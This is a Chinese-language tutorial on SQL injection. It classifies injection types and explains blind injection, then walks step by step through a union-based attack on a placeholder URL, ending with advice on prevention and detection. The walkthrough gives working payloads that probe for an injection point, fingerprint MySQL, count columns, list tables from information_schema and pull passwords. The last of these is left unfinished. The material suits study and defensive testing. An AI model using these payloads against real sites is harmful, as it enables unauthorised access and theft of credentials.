一.什么是Sql注入
Sql注入指的是web程序对用户输入的过滤不足,致使非法数据入侵系统;sql注入是一种常见的数据库攻击手段,sql注入漏洞也是网络世界中最普遍的漏洞之一。
二.Sql注入分类
1.数值型注入:
类似结构 http://xxx.com/users.php?id=1基于这种形式的注入,一般叫做数值型注入,缘由使因为其注入点的类型为数字,在大多数网页中,例如登录后的网页跳转,查看个人信息等,大多都会使用这种结构形式来传递id等信息交给后端,查询出相对应的信息,返回给前端。这一类sql 语句原型大概为 select * from 表名 where id=1 若存在注入,我们可以构造出类似select * from 表名 where id=1 and 1=1的sql注入语句进行爆破。
2.字符型注入
类似于结构http://xxx.com/users.php?name=admin这种形式,其注入点name为字符类型,所以叫做字符型注入。这一类 SQL 语句原型大概为 select * from 表名 where name=‘admin’,若存在注入,可以构造select * from 表名 where name='admin' and 1=1的注入语句进行爆破,与数值型注入不同的是字符型注入相比于数字型注入的sql语句原型多了引号,所以字符型注入又分为单引字符型号注入和双引号字符型注入,说白了就是在查询条件where后面的值加个单引号或双引号,但这两个没有什么区别,都代表字符型,除此之外字符型注入还分为带有括号的字符型注入,其中带有括号的注入又分为数值型+括号注入,单(双)引号字符串+括号的注入,下面看类型语句
# 数值型+括号的注入
select * from 表名 where id = (1);
select * from 表名 where id = ((1)); # 包裹多个括号
# 单引号+括号的注入
select * from 表名 where name = ('admin');
select * from 表名 where name = (('admin')); # 包裹多个括号
# 双引号+括号的注入
select * from 表名 where name = ("admin");
select * from 表名 where name = (("admin")); # 包裹多个括号
3.搜索型注入
这是一类特殊的注入类型,这类注入主要是指在进行数据搜索时没有过滤搜索参数,一般在链接地址中会有"keyword=关键字",有的不显示在链接地址里,而是通过搜索框表单提交,此类注入点提交的sql语句原型大致为select * from 表名 where 字段 like ‘%关键字%’,若存在注入,我们可以构造出select * from 表名 where 字段 like '%关键字%' and '%1%'='%1%'的sql注入语句进行爆破。
4.按照提交方式来分
1.GET
提交数据的方式是GET,注入点位置在GET参数部分,例:http://xxx.com/user.php?
id=1,id就是注入点
2.POST
使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
3.Cookie注入
HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
4.HTTP头部注入
注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。
5.盲注
所谓盲注就是Sql注入过程中,Sql语句执行后查询到的数据不能回显到前端页面中,我们需要使用一些特殊的方法来判断或尝试,这个过程称为盲注。盲注分为基于布尔的盲注和基于时间的盲注。
Length() # 函数 返回字符串的长度
Substr() # 截取字符串
Ascii() # 返回字符的ascii码
sleep(n) # 将程序挂起一段时间 n为秒数
if(expr1,expr2,expr3) # 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
1.基于布尔的盲注
盲注查询是不需要返回结果的,仅判断语句是否正常执行即可,所以其返回可以看到一个布
尔值,正常显示为true,报错或者是其他不正常显示为False
2.基于时间的盲注
不论我们输入的语句是否合法,页面的显示信息是固定的,即不会出现查询的信息,也不会
出现报错信息,可以尝试基于时间的盲注来测试。根据页面响应的时间,来判断输入的信息
是否正确
三.Sql注入实例
接下来我们用代码(由于时间问题没有找到合适的网站,所以就把代码放上去),来实现SQL注入,来看一下,如何实现SQL注入攻击,以及SQL注入的实质。
# 1.检测注入点(这里使用数值注入)
http://xxx.x.x.xx:xxxx/?id=1
# 相当于
select * from [表名] where id = '1';
# 2.判断是否存在注入可能,在id=1后加一个单引号
http://xxx.x.x.xx:xxxx/?id=1'
# 相当于
select * from 表名 where id =1'; # 报错
# 继续测试在id后面加上 and 1=1
http://xxx.x.x.xx:xxxx/?id=1 and 1=1
# 相当于
select * from 表名 where id =1 and 1=1;
# ok 说明SQL语句被执行,程序没有对敏感字符进行过滤。现在可以确定此处是一个 SQL 注入点,程
序对带入的参数没有做任何处理,直接带到数据库的查询语句中。
# 3.数据库爆破
http://xxx.x.x.xx:xxxx/?id=1 and ord(mid(version(),1,1))>51
# 判断数据库类型及版本发现返回正常页面,说明数据库是 MySQL,并且版本大于4.0,支持union查询,
反之是 4.0 以下版本或者其他类型数据库
# 4.字段爆破
http://xxx.x.x.xx:xxxx/?id=1 order by 10
# 相当于
select * from [表名] where id =1 order by 10; # 如果错误,说明字段小于10
http://xxx.x.x.xx:xxxx/?id=1 order by 5
# 返回正常页面说明字段是5,当字段数很大时,二分查找法的优势比较明显,效率更高
# 5.数据库爆表
# 确定字段之后,现在要构造联合查询语句 (union select),如下
http://xxx.x.x.xx:xxxx/?id=1 and 1=2 union select 1,2
# 此时返回一个数字,这个数字指的是我们可以把联合查询的对应位置替换为想要查询的关键字,比如
版本,数据库名称,主要是用来探测 web 系统的信息。
http://xxx.x.x.xx:xxxx/?id=1 and 1=2 union select 1,version()
# 查询数据库版本
# 6.查询数据库密码
# 查询数据库名
http://xxx.x.x.xx:xxxx/?id=1 and 1=2 union select 1,database() # 返回数据库名
# 用同样方法查询表名
http://xxx.x.x.xx:xxxx/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='查询到的数据库名' # 返回表名
# 猜测密码
http://xxx.x.x.xx:xxxx/?id=1 and 1=2 union select 1,password from # 返回的表明
# 返回密码
四.Sql注入特点
- 变种多,当页面可以返回错误的信息时,可以使用基于错误的注入方法。如果服务端对返回的错误进行过滤,可以使用基于布尔或基于时间的注入方法。除此之外,熟练的攻击者会适当调整攻击参数,以绕过特定字段的检测,使传统的特征匹配方法检测不到注入。
- 攻击简单,目前流行各种开发的SqlL注入工具,使得发动攻击的门槛大大降低。即使是毫无经验的初学者,借助这些工具也可以对目标网站进行攻击。
- 危害大。攻击者一旦得手,轻则获取整个网站的敏感数据,重则写入木马,控制整个服务器,破坏力极大。
五.Sql注入危害
- 数据库信息泄露
- 网页篡改,通过操作数据库对特定网页进行篡改
- 网站被挂马,修改一些字段的值,嵌入网马链接,进行挂马攻击
- 数据库被恶意操作,数据库服务器被攻击
- 服务器被远程控制
- 破坏硬盘数据,瘫痪全系统
六.Sql注入的漏洞检测
漏洞检测分为手动检测和自动检测;手动检测是安全测试人员对某个特定区间的URL进行手工注入测试;自动检测是利用爬虫爬取网站的所有链接,对所有的链接自动进行注入测试。
七.预防Sql注入
- 对进入数据库的特殊字符进行转义处理,或编码转换
- 利用 mysql 的预编译机制
- 不要使用动态sql
- 定期测试与数据库交互的web应用程序
- 提前利用工具进行 SQL 注入检测
- 校验参数的数据格式是否合法
- 对特殊的字符进行转义